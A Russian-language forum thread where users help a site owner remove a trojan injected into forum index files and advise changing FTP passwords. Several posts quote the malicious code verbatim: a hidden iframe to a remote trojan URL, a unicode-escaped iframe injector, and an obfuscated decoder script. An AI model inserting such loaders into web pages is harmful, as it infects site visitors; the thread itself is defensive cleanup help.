Вирус на сайте

кто сообщил? Какой антивирус обнаружил?

Закрывайте форум, чистите код ну и конечно менйяте все пароли от фтп, от форума, от админки и т.д.

Сообщил один из пользователей форума, обнаружил каспер-антивирус.

То есть вы хотите сказать, что форум все-таки нужно переустановить?

Такая же фигня была, это в индекс файле помещается ява скрипт с ссылкой на троян, его и надо подчистить, то есть просто код удалить, Вы его сразу увидите

Maryon, удалите из индексной страницы код типа:

<script type="text/javascript">document.write('<iframe width=1 height=1 border=0 frameborder=0 src="http://site.ru/1/tds/iframe.php"></iframe>

либо

<!-- o65 --><script type="text/javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0073\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u002e\u0070\u0068\u0070\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e\u000d\u000a\u000d\u000a')</script><!-- c65 -->

И поменяйте пароли доступа.

Нашла следующий левый скрипт

<script language=JavaScript>function sban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,27,41,21,45,48,17,42,34,5,0,0,0,0,0,0,0,58,44,47,33,25,14,13,59,38,23,40,2,60,30,16,29,39,1,26,62,6,22,18,51,31,11,0,0,0,0,52,0,32,49,12,46,28,7,53,55,3,61,50,15,36,10,37,35,24,4,54,56,9,20,43,57,8,19);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(121^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}sban('9RbfZaR9emoLZKR6N96iGm5OVE99OBa9J5rzcPo9ZtD3_@OGVtDLVb6@uq9rJ_RfRe3L6maJEx@rP_OrrDvV65RrNr6irDvVn_@@35R6Nj@rn@bUOvRrG@5O6@6fP5b9Lxg69E9rYB@Uv5b6')</script>

Удалила. Пароли поменяла. Спасибо за помощь, надеюсь, что проблема решена.

боюсь к этой теме ты вернешься еще.. он снова там появится... остается дождаться только когда... этот троян мне скотина много плохого сделал....

2 ТС:

лучше полностью удалить все файлы с фтп, потом заново залить форум, потом настроить соединение с бд.

желательно обновить движок, если есть патчи.

возможно у вас шелл в скриптах спрятан, а не только сплоит.

Мне в данной ситуации помогла смена пароля от FTP. У меня вирус скорее всего попал на компа и с компа заразил площадки пароли от которых были в фаре сохранены.

У меня были поражены ВСЕ файлы index.* и в форуме phpbb файл aut.php (если не ошибаюсь). В фаре легко найти вирус с помощью поиска по файлам - Alt+F7 в качестве параметров поиска кусок и кода вируса.

Удачи!

Да, действительно, заражены были все индексные файлы на моих сайтах, видать тоже с фтп пароли вирус стянул. Я его обнаружила недавно, но свое дело он уже сделал. Пароли теперь в фтп-клиенте не храню, так что надеюсь в дальнейшем таких проблем избежать.

сообщите хостеру